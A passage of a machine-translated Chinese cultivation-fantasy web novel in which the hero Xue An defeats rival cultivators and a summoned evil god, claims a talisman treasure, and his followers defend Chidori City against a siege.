    The sword lights that had been transformed from Lingding Xiaojian began to surge wildly, and in the blink of an eye they condensed into a long sword exuding biting sword aura, and flew directly into Xue An''s hands.


    Then Xue An looked up and said coldly: "Chinese shame, let''s start with you!"


    After speaking, a sword swung out.


    This is an indescribable sword.


    It was as if a giant was slashing the sky and the jedi, and a sword light that was as bright as the stars, the sun and the moon, slashed directly.


    Qiandiao Haoyan screamed and wanted to dodge, but the speed of this sword was beyond the scope of human comprehension.


    Click.


    This sword cut the Qiandiao Haoyan in the longevity realm in half.


    The blood was spilled and the stump fell to the ground.


    But Bukong Chan''s face was gray and defeated, staring at the sword, shaking his whole body.


    Because in front of this sword, all her so-called kendo cultivation bases became a joke.


    Click.


    With a crisp sound, Bukong Chan''s sword heart shattered.


    Bukong Chan, who is the first in the true biography of Wuwangzong, and is known as the first young cultivator in a century, has his sword heart broken and his cultivation destroyed.


    At the same time, a cloud of gray brilliance rose above the remnant of Qiandiao Haoyan, and he turned and wanted to run.


    But Xue An''s thoughts dissipated, and the remnant soul of Qiandiao Haoyan was also wiped out in an instant.


    At this point, the king of thousands of birds has lost his soul and vitality.


    The audience was silent.


    Xue An turned to look at Wu Qisha who was aside.


    Wu Qisha trembled with fright, and immediately said: "Friends of Taoism, please be forgive, I don''t want this true immortal legacy! Goodbye!"


    Wu Qisha could see that although Xue An had no cultivation base, his physical skills and spirituality were beyond the scope of ordinary people''s understanding.


    Moreover, the sword just now scared Wu Qisha''s courage so that he no longer has the ambition to be competitive, just want to leave here to save his life.


    But he turned to leave.


    Xue An said indifferently: "I''m leaving now, don''t you think it''s too late?"


    Wu Qisha stiffened all over, turning around slowly, with a cruel look on his face.


    "Friends, do you still want to kill them all?"


    Xue An smiled slightly, "Congratulations, you got it right!"


    Wu Qi''s face showed a resolute look and roared, "I really thought I was afraid that you would not succeed, and the evil spirit would destroy the world!"


    Wu Qisha finally used his strongest hole card.


    A huge virtual image slowly rose from behind Wu Qisha.


    This is a statue of the evil **** of hell, with a black and blue body sitting on a huge black lotus flower, and four faces on his head, facing each other!


    The face facing everyone closed his eyes.


    As soon as the statue came out, Wu Qisha vomited a few big mouthfuls of blood, obviously it was extremely reluctant for him to use this trick.


    Even so, Wu Qisha''s face still showed a carefree grin.


    "Boy, you are proud to be able to force me to use this trick! Cthulhu is here, you are all ants, go to death!"

 Chapter 579： No matter what evil **** you are, you will destroy it all

    Following Wu Qisha''s voice, this **** **** statue slowly opened his eyes.


    In these dark eyes, which are a hundred times deeper than the night, are filled with endless tyranny and evil.


    The entire space even became cloudy and windy because of the eyes of this evil god, as if **** had emerged.


    Even after a few cultivators who were closer were caught in a trace of black energy, the whole person''s cultivation level quickly began to fall, and after a terrified scream, they turned into pus and blood and died.


    Such a weird and terrifying scene caused all the practitioners to take a breath and rush back to avoid it.


    Even Yunzhi and other strong men in the longevity realm hide away solemnly.


    Only Xue An stood there, quietly looking at this evil god, with a smile on his face, not knowing what he was thinking.


    "Master Cthulhu, this person destroys my sect, please destroy it!" Wu Qisha said respectfully, and vomited three more mouthfuls of blood in one mouth, and the whole person''s momentum became more and more wilting.


    This is a sacrifice with blood.


    The Cthulhu became more and more tyrannical, and the ancient and evil face gradually showed agility.


    Wu Qisha was overjoyed when he saw this, and his whole body was trembling slightly with excitement, "Congratulations, Lord Cthulhu, who has come here!"


    This evil **** is the deity enshrined by the Fierce Spirit Sect. Wu Qisha had also been summoned in the past, but all that came was just a projection.


    Unexpectedly, Lord Cthulhu actually came this time.


    Wu Qisha was naturally extremely excited and excited, and he glanced at Xue An with arrogant and proud eyes.


    In his eyes, Xue An is now a dead person.


    At this time, the whole face of this evil **** gradually became alive, his aura became more evil and powerful, and then he slowly spoke.


    "Who dares to destroy my congregation?"


    With this shout, a powerful black air soared into the sky and condensed into a huge tornado. As it slowly turned, the disturbed wind and clouds changed color, as if it could shake the world.


    These powers have exceeded the scope of human understanding and have come to the realm of gods.


    But even in front of such a powerful divine might, Xue An remained calm as usual, and even the cold smile on the corner of his mouth did not change.


    Such an attitude obviously angered this evil god, but after a closer look, this evil **** said with great surprise.


    "A mortal, is actually a mortal with a strong blood? Hahaha, very good! You will become my best blood food, and even help condense my divine body, allowing me to truly come here!"


    Having said that, the tornado composed of black air rushed over and swallowed Xue An completely in an instant.


    The black energy that was darker than the night was spinning crazily, and the stones on the ground completely turned into powder as soon as they touched.


    Under this power, almost no one can be spared.


    Dead... dead?


    Everyone looked at the tornado in surprise.


    After all, this Chinese man just created too many miracles.


    No one can guarantee that there will be a miracle this time.


    But Wu Qisha obviously didn''t think so, he had absolute confidence in the gods he believed in.


    No one can survive the anger of Lord Cthulhu.


    But just as his face gradually showed a proud expression of revenge.


    In the black tornado, a faint flame appeared.


    "Huh, what''s that?" Liu Keke, whose heart was clenched because of Xue An''s disappearance, was the first to discover this anomaly and couldn''t help exclaiming.


    Wu Qisha looked down.


    At this moment.


    This faint flame suddenly became stronger and ignited the entire tornado in an instant.


    Under this white flame, the endless black energy didn''t even have the power to resist, and it turned into nothingness.


    Wu Qisha screamed in surprise, who thought he was already winning.


    That Cthulhu was even more unbearable, and the four faces instantly turned into one, and then showed an expression of extreme horror.


    "How... how is it possible! How could this **** flame appear here?"


    At this moment, I saw a figure slowly walking in the sky of fire.


    After passing through this sea of ??fire, all the flames instantly converged, turning into a white fire lotus, floating between the person''s eyebrows, and then disappearing.


    It is Xue An!


    I saw Xue An slowly raised his head, looked at the horrified Cthulhu, and said lightly: "Is that just the right thing?"


    This evil **** looked surprised and suspicious.


    But the arrogance of being a **** still made him sneer, "Although I am curious, how can you have such a powerful **** flame as a mortal? But these are not important, now I will kill you, and then you Withdraw his soul as my best trophy."


    Xue An said lightly: "Are you finished?"


    "Ok?"


    Xue An showed her white teeth and smiled sensibly, "After speaking, it''s my turn!"


    After all, Xue An took a step and rushed directly to the evil god, with a bright light in his eyes, then raised his fist and blasted out.


    "Move! Heaven! Earth!"


    With Xue An''s soft drink, this punch directly hit the head of the evil **** with a look of stunned expression.


    Click.


    After a crisp sound.


    It was seen that this evil **** was blasted hundreds of feet away by Xue An''s fist, and a long and narrow crack appeared on the idol.


    Then, without waiting for the evil **** to react, Xue An''s foot suddenly stepped on the ground, and the whole person rushed out like a cannonball and came to the head of this evil god.


    "Dividing Yin and Yang!"


    boom.


    This punch was shown above, directly blasting this evil **** into the ground from midair.


    After two consecutive punches.


    Looking at this evil god''s originally indestructible body, there were dense cracks, which seemed to shatter at any time.


    But this is not the main thing.


    This evil **** looked at Xue An in a daze, as if thinking of something, his face gradually showed great fear.


    This fear made him dare not even resist, he could only trembled: "You...you are..."


    Xue An nodded, "Yes, I am!"


    After receiving confirmation, the evil **** shouted in horror, "Forgive... forgive me!"


    The sound stopped abruptlyBecause a ball of flame rose from the eyebrows of this evil god, it swallowed it completely in a blink of an eye.


    This time, this evil **** finally tasted the fear of death.


    Because as an evil god, even if he was crushed into powder, he could be reborn in hell.


    But if it is burned by this divine flame, it is complete destruction.


    "My lord, forgive me... I really didn''t know it was you..."


    Cthulhu tried his best to ask for mercy, but Xue An just watched quietly, not moved by it.


    This evil **** was completely desperate, but even so, he did not dare to offend Xue An at all.


    So the evil **** directed his anger towards Wu Qisha who had summoned him.


    "You killed me! I''m dead, you will accompany me to annihilate!" As he said, the evil **** dragged the flames all over, rushed directly to the already scared Wu Qisha, and then killed him to death. Hug.


    "I was wrong, I don''t dare anymore, no..."


    Wu Qisha was so scared that he screamed, but Cthulhu obviously didn''t intend to let him go.


    "If you dare to offend your lord, then accompany me to die!" the evil **** roared ferociously.


    After a while.


    Cthulhu and this Wu Qisha were all burned into nothingness by flames.

 Chapter 580： Although 0 million people go

    No one speaks, or it should be said that no one dares to speak.


    Everyone stared blankly.


    from the beginning till now.


    Xue An had already cut three people in succession, annihilated an evil god, and broke Wu Wangzong''s Bukong Chan Jian''s heart.


    Such an impressive record is enough to shut up any doubts.


    Among all people, Lian Yunzhi was definitely the one who frightened the most.


    When she watched this Chinese man who had been ridiculed by herself as having no cultivation level, she slaughtered the Quartet.


    She understood why Xue An said he was a frog at the bottom of the well.


    It turned out... the cultivation base I relied on and the identity of the true biography of Shanhaizhai''s inner room were not even a joke in the eyes of this man.


    Thinking of this, Lian Yunzhi''s heart was filled with endless regret and shame.


    Especially when I remembered that my second sister had already worshipped this person, the future achievements may be far better than myself.


    This made Lian Yunzhi, who has always been the girl of heaven, almost collapsed.


    But Liu Keke, who was on the side, looked at Xue An with blurred eyes.


    The strength of this man surpassed everyone''s expectations, and even Liu Keke, who was accustomed to seeing the stunning and extraordinary geniuses in the land of Zhongzhou, was shocked.


    More importantly... this man hasn''t cultivated yet, but he has cut down two longevity and an evil god.


    If this matter spreads out, it is estimated that it will cause an uproar.


    And he seems to know the secret of his mechanical puppet.


    Who is he?


    Liu Keke became more and more curious about Xue An.


    At this time, Bu Kongchan, with a pale face, gave Xue An a fist, "Senior kendo has a high level of cultivation, Kongchan worships him! My junior was killed, Wuzuong will not be held accountable again!"


    This sentence surprised everyone.


    No one thought that this genius girl without delusion would actually admit defeat.


    You know what she does is kendo.


    Once you concede defeat in Kendo, you may not be able to save your life.


    Xue An looked indifferent, "This is not something that you Wuwangzong will not pursue, but it depends on me not to pursue it."


    Hearing these words, Bukong Chan''s face turned gray and hissed: "Does Senior really want to fight against my Wuwangzong?"


    Xue An smiled slightly, did not answer this sentence, but said lightly: "Do you know why your sword heart is broken?"


    Bukong Chan''s whole body trembled when he heard the words, a hint of hope appeared in his gloomy eyes.


    "senior����."


    Xue An said calmly: "Because you are so proud!"


    Bukong Cicada was shocked by these words and almost fell to the ground from midair.


    "You have cultivated for longevity in a mere hundred years. It is really proud of yourself. It is a pity that you have cultivated too smoothly. You think you have a clear sword heart. In fact, it is just a delicate flower blooming in the greenhouse. Once you encounter real setbacks, So fragile and vulnerable! What I said...can you be convinced?"


    Xue An''s words shook Bukong Cicada''s sweat, his clothes were soaked with cold sweat, and his face was desperate.


    Because she knew that Xue An was right.


    Just when he witnessed Xue An''s shocking sword, Bukong Cicada''s heart was filled with endless despair.


    Because she knew that this sword was something she could not catch up in her entire life.


    Together with this idea, the originally weak Jianxin shattered instantly, and it ended in this situation.


    "Senior''s words are true, the disciple Kongchan is convinced!"


    Bu Kong Chan had already regarded himself as a figure in his disciple generation, with very respectful words, and then said sadly.


    "Kong Chan then returned to Wuwangzong and told Master that he would not violate the Chinese in the future, and then he would enter the cave and never be born again!"


    After all, Bukong Chan turned to leave.


    Xue An said indifferently, "Do you give up?"


    Bukong Cicada shook his whole body, and suddenly turned around, "Senior..."


    "One journey of kendo has many difficulties and obstacles, but it is nothing more than maintaining a pure swordsmanship and the belief that thousands of people will go for it."


    "Now your sword heart is broken, but you can''t stand it! If you can practice sword heart again, your future will be far beyond this!"


    After listening to Xue An''s words, Bu Kong Chan muttered to himself in a blank look.


    "Though thousands of people are going... so, so so... so so!"


    With these three sounds, Bukong Cicada was shocked.


    A slight hint of sword intent rose from the extremely frustrated momentum.


    Although this silk sword intent was weak, it was tough and clear, which was far different from the flashy sword intent before.


    Xue An couldn''t help but nodded slightly, a look of appreciation flashed in his eyes.


    Kong Chan''s talent in kendo at this step is indeed amazing enough, and he regained his sword''s heart with just a few words.


    Although it is very weak now, in time, it will definitely surpass her before.


    At this time, Bukong Chan had woken up, immediately fell to the ground, and then kneeled on the ground respectfully.


    "Disciple Bukong Chan, thank you seniors for the kindness of reconstruction!"


    Xue An shook his head, "I help you only because you have a pure aura and have never done anything to insult the Chinese, but I hope you will do it yourself in the future! Understand?"


    Bukongchan looked solemn, "Senior don''t worry, if anyone dares to insult the Chinese in the future, Kongchan will be the first to kill it!"


    Xue An nodded, "Okay, go!"


    Bukong Chan kowtowed his head respectfully, then stood up, turned and walked away.


    Unlike the Xuanhe scene where he stepped on the sword when he came, Bukong Cicada had a down-to-earth aura when he left, and there was no more arrogance in his eyes.


    Yes, it''s just an innocent heart.


    This kind of almost rebirth-like transformation will have infinite benefits for her in the future.


    And she also kept her promise to Xue An from beginning to end, even after becoming the sovereign of Wuwangzong, she still guarded the Chinese.


    Bukong Cicada is gone, and the remaining repairmen look at each other ~ www.novelhall.com ~ and are ready to sneak away.


    Now no one dares to have greed for this true immortal treasure anymore.


    But at this moment, I saw a motorcade galloping on the road far away.


    It was Lian Yuanhua who took the lead.


    Behind him followed the elders of Feiyanbao.


    The second lady even Yunting and the third lady even Yunluo were in the team.


    In an instant, these people rushed to the front.


    The tigers, leopards and alien beasts seated in the area of ??Lian Yuanhua slowly stopped.


    Then he raised his head and looked at the eldest daughter he had always been proud of with some doubts.


    "Yunzhi, I just saw Wuwangzong''s Bukongchan for my father, why did this girl walk away? And she didn''t say anything, just smiled?"


    When they arrived just now, they ran into the leaving Bukong Cicada on the road.


    Lian Yuanhua recognized her and knew that she was a genius girl from Wuzuzong, so he stopped the mount and came down to say hello.


    But Bukong Chan kept a smile on his face, and didn''t say anything to ask, and then floated away.


    This naturally made Lian Yuanhua puzzled.


    But Lian Yunzhi''s face was pale at this moment, and he shook his head gently, "Father did not say anything, let''s go!"

 Chapter 581： True contempt is complete disregard

    "Go? Why do you want to go? Is this true immortal treasure already in your hands?" Lian Yuanhua asked.


    Lian Yunzhi would be annoyed by his stupid father.


    Wouldn''t you just take a look at the situation in the field before talking?


    At this moment, the second lady Lian Yunting and the younger sister Lian Yunluo all got off their mounts and ran to Xue An.


    "Master!"


    Xue An nodded with a smile, and then faintly said to Lian Yunzhi: "Now you understand why I am a frog in the bottom of the well?"


    Xue An''s words can be described as a naked face slap.


    Lian Yunzhi was speechless.


    Lian Yuanhua hadn''t seen the situation clearly.


    It may also be that he has too much confidence in his eldest daughter, so confident that he is about to be blind.


    Hearing this, Lian Yuanhua actually said coldly: "The surname is Xue, you..."


    He just wanted to say that you are so bold that you dare to talk to his daughter like this.


    Lian Yun rushed to him in an instant, and slapped him with a slap.


    Snapped.


    After a crisp sound.


    Lian Yuanhua''s student flew a few feet away, and after landing, blood came out of his mouth and nose.


    Half of his face was even shattered.


    This slap was like a shock, and even the elders of Yuanhua and Feiyanbao were astonished by it.


    "You of the cloud..."


    An elder just wanted to ask questions.


    Lian Yunzhi already bowed his bow and said in a trembling voice: "Senior, don''t blame it, my father has always been like this, please don''t care!"


    All these people in Feiyanbao were stupid.


    Especially Lian Yuanhua, covering his face, gradually began to tremble, and a look of fear rose in his eyes.


    He is not a fool!


    After seeing my eldest daughter bend her knees so humbly, she understood a little bit.


    Lian Yunzhi bends down and salutes, as if frozen.


    Xue looked quietly.


    He didn''t speak, and even Yunzhi didn''t even dare to look up.


    The atmosphere in the field seemed to freeze.


    Xue An said lightly until the cold sweat dripped onto the ground along Lian Yunzhi''s cheeks.


    "Do you think... this is enough?"


    This sentence caused Lian Yunzhi to shake his whole body. He raised his head and looked at Xue An with begging eyes, "Pre... Senior."


    Xue An waved his hand and said indifferently: "Self-reliance on a profound level of cultivation, a noble status, so he is defiant. He is indifferent to his close relatives and sisters, and even hides evil intentions! You said yourself, people like you... should you kill?"


    Lian Yunzhi was full of horror, and whispered: "Pre...senior, I know I was wrong, but I beg my father for forgiveness!"


    Xue An''s face was cold, and he didn''t move at all. He took a step and started to do it.


    Lian Yunluo was a little scared, but stepped forward with a firm face, kneeling down to the dust.


    "Master, please forgive my elder sister and my father!"


    It is not surprising that Lian Yunluo begged.


    At home, because of her young age, she has always been loved by everyone.


    Xue An stopped, and after looking at Lian Yunluo, he cast his eyes on Lian Yunting.


    After all, at home, she is the one who is least valued.


    Lian Yunting bowed her head and said nothing.


    At this time, Lian Yuanhua had thoroughly seen the situation, and finally understood how stupid he had just made.


    Especially when he saw that his eldest daughter, whom he regarded as the child of the sky, was obediently begging for mercy, he couldn''t wait to slap himself.


    But the murderous in Xue An''s words made him afraid to neglect, so he could only shout at Lian Yunting with a cheeky face.


    "Yun...Yunting, I know my father is wrong, and I don''t dare to favor one another for my father anymore. You must never..."


    Lian Yunting raised her head, glanced at her so-called father in disgust, and said calmly: "Master, it''s useless to kill such a person. Let them spare their lives!"


    Xue An looked at Lian Yunting, and a smile slowly appeared at the corner of his mouth.


    The reason why he asked Lian Yunting just now was to see her attitude.


    If trapped by family love and hesitated on her face, Xue An is ready to let her go on her own and let her fend for itself.


    Because if you can''t even pass this level, your future achievements will be very limited.


    But if someone with a brutal face wants to kill or slash, they will fall behind.


    Only now this kind of ignorant attitude proves that Lian Yunting has really let go of all this.


    "Good!" Xue An nodded.


    Then Lian Yunting walked up to the shameful Lian Yunzhi and Lian Yuanhua with a firm expression.


    "From then on, Feiyanbaoen and I have cut off our righteousness. We have no affiliation. We are far away from each other. I hope we never see each other again! Otherwise, I will not tolerate it!"


    Hearing what Lian Yunting said, Lian Yuanhua tried to say a few words to stay.


    But Lian Yunting had already turned and left.


    Lian Yunzhi stared blankly at the back of his second sister, feeling mixed, not knowing what it was like.


    She was even ready to be abolished.


    After all, ask yourself, if you change to Lian Yunting, the grievances accumulated over the years will make him do nothing strange.


    But I didn''t expect that Lian Yunting not only let go of herself, but also never even started.


    This made Lian Yunzhiben a little happy, but after seeing Lian Yunting''s resolute back, she suddenly understood something.


    It turned out... The current self is nothing in her eyes!


    This feeling is a hundred times worse than being humiliated.


    Because this is completely ignored.


    Lian Yuanhua wanted to say something, but was stopped by Lian Yunzhi shaking his head.


    Then everyone in Feiyanbao left in despair.


    Xue An glanced at the back of Lian Yunzhi''s departure and smiled slightly.


    He knew that this woman''s cultivation base would no longer be saved, and might even regress.


    Because Lian Yunting''s speechless contempt for her had completely destroyed her state of mind.


    This is even more terrifying than abolishing her cultivation base At this time, the remaining practitioners have quietly left.


    Only the huge rune gate leading to the true immortal remains, and the smiling Liu Keke sitting on the mechanical puppet.


    When Xue An looked over, Liu Keke jumped off the puppet and said with a sly smile: "The predecessor is really supernatural, the little girl admires it!"


    Xue An said calmly: "If you don''t leave, aren''t you afraid that I will clean up with you?"


    Liu Keke''s smile did not change, and he shook his head and said, "Don''t be afraid, because Coco knows that Seniors will definitely not do that!"


    "Oh why?"


    "Because what the predecessor did just now is a real superior demeanor, how can you care about a weak woman like me?" Liu Keke said grinningly.


    "Weak woman? An alchemist who can control ancient mechanical puppets actually said that she is a weak woman?"


    Liu Keke said in a serious tone: "In front of Senior, who would dare not say weak? And the little girl is willing to guard this place, so that Senior will have no worries when entering this remains!"


    Xue An looked at this extremely beautiful woman with long hair and a charming face, and finally shook his head and chuckled.


    "Ask me?"


    Liu Keke nodded solemnly.

 Chapter 582： True Fairy Talisman

    "Predecessors once said that I did not bring out the true strength of this puppet at all. The little girl is deeply touched by this! I only hope that senior can help me so that I can completely control this puppet!" Liu Keke is full of sincerity. Said respectfully.


    Xue An looked at her and smiled slightly, "How do you know I can help you? Maybe I just said casually."


    "Senior joked, you can see the origin of this puppet at a glance, and even know the name of the alchemist, you must have a deep understanding of it."


    Xue An was silent.


    Liu Keke looked at Xue An with pitiful eyes.


    I have to admit that this woman is indeed beautiful, especially when she poses such a charming posture, her charm is even more amazing.


    In fact, Liu Keke was called a demon girl because she controlled a strange puppet and because of her ability to charm sentient beings.


    At this time, Xue An said calmly: "Yes, I can indeed help you, but the premise is...what price can you pay?"


    Hearing Xue An''s words, Liu Keke''s eyes condensed and he seemed to hesitate, but Xuanyi again appeared decisive, and then smiled, and he stepped forward.


    "If Senior can really help me, little girl..." Liu Keke paused, and then whispered shyly, "Little girl would like to recommend herself a pillow seat!"


    The voice of a peerless beauty said that she would recommend herself to the pillow, and this temptation is enough to make the gods feel tempted.


    Xue An just watched quietly, until Liu Keke, who was watching, lowered his head blushing, and then gave a narrow smile.


    "It''s funny, you take it seriously!"


    Liu Keke was so stunned that he couldn''t help but look up.


    At this time, Xue An had already stepped towards the Talisman Gate, and at the same time said lightly: "Look at the gate!"


    Liu Keke''s charming cheeks gradually showed a brilliant smile, and then nodded hard, "Don''t worry, senior, leave it to me!"


    At the same time, she said with some worry: "Senior, the talisman seal on this talisman gate seems to be very complicated, you are alone..."


    Ke Ke Liu wanted to say that you can solve it alone?


    But before the voice fell, I saw Xue An walked to the Fumen before reaching out and pressing on the tall Fumen.


    In an instant, the talisman seals on the Talisman Gate were lit up in turn, and then Xue An turned to Liu Keke and Lian Yunting and the others to smile.


    "When I come back!"


    Having said that, he stepped into this gate.


    Liu Keke watched this scene dumbfounded.


    As a disciple of the Zhongzhou School, she naturally knows how difficult it is to guard the talisman that protects the treasure of the true immortal.


    There were several golden immortals who tried to forcefully crack an ancient rune gate, but they also ended in failure.


    What''s more, this true immortal still seems to have entered the Tao with a talisman seal.


    Unexpectedly, Xue An broke open the talisman door casually.


    This makes Liu Coke a little bizarre.


    If Xue An did not have a cultivation base, he could barely understand the words of the two longevity who had been killed by the tyrannical body art.


    Then this heaven-defying method of cracking the rune gate is not something ordinary cultivators can have.


    Who is he?


    Liu Keke felt that the mist covering Xue An had not decreased, but had increased.


    At this time, Xue An had already crossed the Talisman Gate and came to this true immortal remains.


    Although I don''t know how many years have passed, in this true immortal remains, there is a scene of Qionglou and Jade Pavilion.


    Xue An only felt desolate while strolling.


    Because this seemingly magnificent Xianjia mansion was deadly silent.


    There is no human voice, no bird song.


    There was not even the slightest noise.


    Yes, it''s just complete silence.


    In this environment, people can even hear the sound of blood flowing through their bodies.


    In such a dead silence, ordinary people will go crazy if they can''t support it even for a quarter of an hour.


    But Xue An felt nothing.


    Soon, he passed through the pavilions and came to the small building in the middle.


    Along the way, there is no ambush.


    Xue An was slightly confused at the beginning.


    Even if it is a golden fairy relic, it will not be so simple.


    But when he stood in front of this small building, he realized it suddenly, and then smiled slightly.


    "It''s hard for you. You can actually refine such a talisman with the realm of true immortality."


    Fu Bao.


    A rare and infinite treasure.


    Generally only appear in the hands of extremely masters who are proficient in the way of runes and seals.


    The most powerful Talisman even has self-awareness.


    But Xue An knew exactly what this so-called Talisman was.


    To put it bluntly, when the master draws the talisman, he may just conform to the way of heaven, and then seal a piece of law into it, which has various magical effects.


    However, this generally has to be done by Daluo and even the fairy king who can touch the law of the heavens.


    Unexpectedly, this true immortal also drew a talisman by chance.


    The golden fairy represents the boundary of the fairy.


    As soon as you enter the golden fairy, the fairy tale gradually becomes, and the supernatural powers are born! This is the fairy.


    But the immortals at this time can only be regarded as immortals.


    Because he still can''t really touch the power of heaven.


    The true immortal means that he has touched a trace of the power of the law, has a bit of understanding of the rules of heaven and earth, and can use it in his own world.


    This side is a true fairy.


    As for Da Luo, he refers to an immortal who understands and masters the laws of the heavens of the Provenance.


    And the immortal at this time is called Da Luo Jinxian!


    Thinking about this, Xue An stretched out his hand and lightly touched this treasure.


    boom!


    Dense golden charms appeared on the surface of the building, trying to resist Xue An''s arrival.


    Xue An sighed slightly, "It''s a pity that it''s an incomplete version of the Talisman. Forget it, give it to Yan Er as an embroidered house for collecting treasures!"


    After saying that, Xue An didn''t bother to untie the spell, so he punched directly.


    boom.


    After a muffled sound, the golden light of this talisman flickered and let out a mournful cry.


    Xue An still didn''t say a word, and then threw a punch.


    This time, Fu Bao made a creaking sound as if it was falling apart.


    Xue An raised his fist again, and was about to hit it.


    Seeing the golden light, a few big characters appeared.


    "My lord, spare my life!"


    Xue An put his fist in his hand, and said lightly: "You can spare you, are you willing to return to me?"


    The golden light changed, and two characters appeared.


    "willing!"


    Xue An nodded, "Very well! Come here!"


    With an order, this talisman shrank sharply and turned into a golden light in the blink of an eye, entering Xue An''s palm.


    With the disappearance of this talisman, the entire True Immortal Relic began to tremble violently.


    Xue An knew that this place may have gone through tens of thousands of years, but it was only because the Talisman had suppressed it that there was no sign of the passage of time.


    Now that the talisman has disappeared and ten thousand years have come surging in, a terrifying turbulence of time and space may appear in this place.


    Although the space-time turbulence is not comparable to the space-time vortex of the outer sky, it is also powerful enough.


    Therefore, Xue An stepped out one step, passed through the many pavilions, and flew directly out of this true fairy remains.


    As soon as he left with his front feet, this true fairy remains completely collapsed, and then it was crushed into a turbulent flow of time and space.

 Chapter 583： The clansmen obey the orders, open the gates, and go to war!

    Liu Keke was chatting with Lian Yunting and Lian Yunluo.


    The little girl Lian Yunluo was obviously very interested in Liu Keke''s puppet.


    "Coco sister, can this puppet speak?"


    "will not!"


    "Then how does he understand what you want to do?"


    "I don''t know, anyway, if I ask him to do anything, he will do it."


    "Oh, can you let him dance?"


    "dancing?"


    "Yeah! Just like me!" Lian Yunluo bounced around.


    Liu Keke widened his eyes, "What kind of dance is this?"


    "I call this dance the little mushroom picking girl! Didn''t Sister Coco see it?"


    "Uh... to be honest, nothing!"


    "Coco sister is really stupid, you see, when I started, I was pushing aside the grass and moving forward, looking around to find mushrooms."


    Hearing Lian Yunluo''s explanation, Liu Keke really felt somewhat reasonable.


    "and then?"


    "Then I found mushrooms!"


    "But what do you mean by twisting behind?"


    "That''s because I always have to taste the mushrooms after I find them. As a result, the mushrooms are poisonous, so I was poisoned!"


    "..."


    "Then what do you mean by squatting on the ground last?"


    "Oh, my poison can turn me into a mushroom, so I become a cute little mushroom!"


    Liu Keke nodded, "You are such a genius!"


    Lian Yunluo''s eyes lit up, "A lot of people say that to me, hehe, sister Coco, can you let this big guy dance this dance with me?"


    Before Liu Keke could say anything, this mechanical puppet shook his head neatly.


    "Look, he doesn''t agree with him himself!"


    As he was talking, Xue An walked out of the Talisman Gate when he saw Guanghua flashing.


    As soon as he stepped out, the talisman behind him trembled for a while, and then disappeared.


    Liu Keke hurriedly stood up: "Senior!"


    Xue An nodded, then looked at Lian Yunting and Lian Yunluo, and smiled slightly.


    "go!"


    "Where to go?" Lian Yunluo asked.


    "Chidori City!"


    Just as Xue An led everyone back to Chidori City.


    What happened on Bafang Mountain spread quickly like a hurricane.


    The Chinese man confronted several masters alone, and slashed two longevity, annihilated one evil god, and broke the sword heart of Bu Kongchan, the first true transmission of Wuwangzong in a century.


    The key is that this Chinese man has not yet cultivated.


    Once such an unthinkable thing spread, it shocked the eyes of countless people.


    Although rumors say that these things are unequivocal.


    But there are still many people who do not believe it.


    After all, this sounded like a fairy tale.


    I think it''s impossible.


    For example, the general Jiang Yaosi who was besieging Chidori City thought so.


    He even severely beaten the soldiers who reported the letter to him, and then tore the letter to pieces in public.


    "You wait and listen, there are rumors outside that the monarch and the national teacher were killed by a Chinese man who has no cultivation level. This is definitely someone deliberately spreading the rumors! Let alone thinking with your head, just thinking about it with your toes It is absolutely impossible!"


    "From now on, let me hear someone talk about this again, I will definitely not forgive!"


    "Yes!" All the soldiers responded together.


    Jiang Yaosi smiled, looked at the Chidori City in the distance, and said loudly: "This Chidori City is now under the control of the Chinese. When the city is broken, I allow you to indulge for three days. As long as it does not affect other people, you can do whatever you want. How to play! How?"


    These words caused a slight commotion.


    These soldiers all showed greed, "Xie General!"


    "Okay, let''s go down, and we must step up the siege! A small Chidori City, the land of mud pills, actually prevents you from waiting for three days to deposit, it is a bunch of waste!"


    Jiang Yaosi rebuked it again and went back to the big account contentedly.


    He is an officer in chief, so naturally he doesn''t need to go to the front line, and even has an aides doing command.


    All he can do is to have fun in the big tent, and then wait for the good news to come back.


    In fact, in the eyes of many people, this expedition was entirely a matter of taking credit.


    After all, it is a city guarded by a group of weak Chinese people. How difficult can it be?


    And if Jiang Yaosi weren''t for Qiandiao Haoyan''s nephew, such a good job would not be his turn.


    While he was drinking and having fun in the big tent, another fierce battle began.


    Xiao Shui stood on the top of the city, looking solemnly.


    These siege soldiers are much stronger than the former garrisons in this Chidori City.


    This can be seen from the armor worn by these soldiers.


    Not only the workmanship is much finer, but there is even a faint white light.


    This shows that the solid armor spells carved on it are all made by master runes.


    "Master Xiaoshui, go down and take a rest. You haven''t closed your eyes for three days and three nights!" someone persuaded.


    Xiao Shui opened his red eyes and shook his head, "No, these guys are getting more and more aggressive. I can''t sleep!"


    "But they haven''t broken the defensive formation left by the immortal master yet?"


    These people now call Xue An an immortal teacher.


    Xiao Shui glanced at the speaker, then shook his head, "If it''s all based on Ang''s formation, what do we need you and me? What''s more, Ang won''t always follow us, and we have to form combat strength as soon as possible. Will not be looked down upon!"


    As they were talking, a warrior appeared behind these black armored soldiers, holding a huge array-breaking hammer, rushing over with a scream, and then desperately smashing it down.


    boom!


    A burst of golden light flickered.


    This city defense formation, arranged by Xue An casually, finally broke into pieces after persisting for three days and three nights.


    These Mexican soldiers were overjoyed.


    These three days they were extremely frustrated.


    Because they were blocked by this formation, they couldn''t make a deposit. For this reason, they had been punished several times.


    This time the formation was finally worn out, and they were naturally overjoyed.


    As if seeing wealth and beauty beckoning at them.


    At this time, Xiao Shui''s face solemnly ordered: "Pass the order, do it!"


    "Yes!"


    In the past few days, the Chinese people have been honing their formations like going crazy.


    Lie down and rest when you��re tired. When you��re hungry, someone will bring you food. If you��re injured, there are secret medicines left behind by Chidori The reason why you are so desperate is because these Chinese people have seen the cruelest The bottom world.


    In that world, Chinese people will always bow to their knees and live humblely.


    And now they have the opportunity to stand up and be human again, naturally cherish this opportunity very much, and can even say crazy.


    When Xiao Shui''s order came, these Chinese who had transformed into a qualified fighter in just a few days rushed over without hesitation.


    Xiao Shui looked around everyone, and said coldly: "The defense formation has been broken. The temporary wall alone can''t withstand these ink armor soldiers. Now I ask you, am I afraid of death?"


    All Chinese people hold their heads up, "Don''t be afraid!"


    "Very good! Now we will form a battle formation and go out of the city to fight these guys to the death!"


    "Here!"


    All the Chinese fighters were excited.


    These Ink Armored soldiers usually oppressed the Chinese and became the fuse.


    These Chinese men desperately want to be able to blade enemies.


    Therefore, everyone''s eyes flashed with a desire for blood, and they skillfully formed the battle formation passed down by Xue An.


    Xiao Shui stood at the forefront and said coldly: "Open the gate!"

 Chapter 584： Ethnic Chinese! charge!

    The city gate opened slowly.


    Xiao Shui took the lead and led the Chinese soldiers directly out.


